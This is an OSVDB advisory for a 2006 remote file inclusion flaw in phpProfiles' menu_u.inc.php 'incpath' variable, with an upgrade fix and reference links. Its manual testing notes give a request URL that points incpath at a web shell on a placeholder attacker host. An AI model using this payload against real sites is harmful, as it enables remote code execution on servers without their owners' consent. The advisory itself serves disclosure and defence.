phpProfiles /include/menu_u.inc.php incpath Variable Remote File Inclusion

2006-12-19T10:33:46
ID OSVDB:32374
Type osvdb
Reporter nuffsaid(nuffsaid@newbslove.us)
Modified 2006-12-19T10:33:46

Description

Vulnerability Description

phpProfiles contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /include/menu_u.inc.php script not properly sanitizing user input supplied to the 'incpath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Upgrade to version 3.6 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Short Description

phpProfiles contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /include/menu_u.inc.php script not properly sanitizing user input supplied to the 'incpath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[path]/include/menu_u.inc.php?incpath=http://[attacker]/shell.php?

References:

Vendor URL: http://linuxwebshop.com/phpprofiles.php Vendor Specific News/Changelog Entry: http://linuxwebshop.com/forum/viewtopic.php?t=40 Secunia Advisory ID:23423 Related OSVDB ID: 32363 Related OSVDB ID: 32368 Related OSVDB ID: 32372 Related OSVDB ID: 32375 Related OSVDB ID: 32367 Related OSVDB ID: 32369 Related OSVDB ID: 32370 Related OSVDB ID: 32371 Related OSVDB ID: 32365 Related OSVDB ID: 32366 Related OSVDB ID: 32364 Related OSVDB ID: 32373 Related OSVDB ID: 32376 Mail List Post: http://attrition.org/pipermail/vim/2007-March/001401.html ISS X-Force ID: 30997 Generic Exploit URL: http://www.milw0rm.com/exploits/2956 FrSIRT Advisory: ADV-2006-5087 CVE-2006-6740 Bugtraq ID: 21667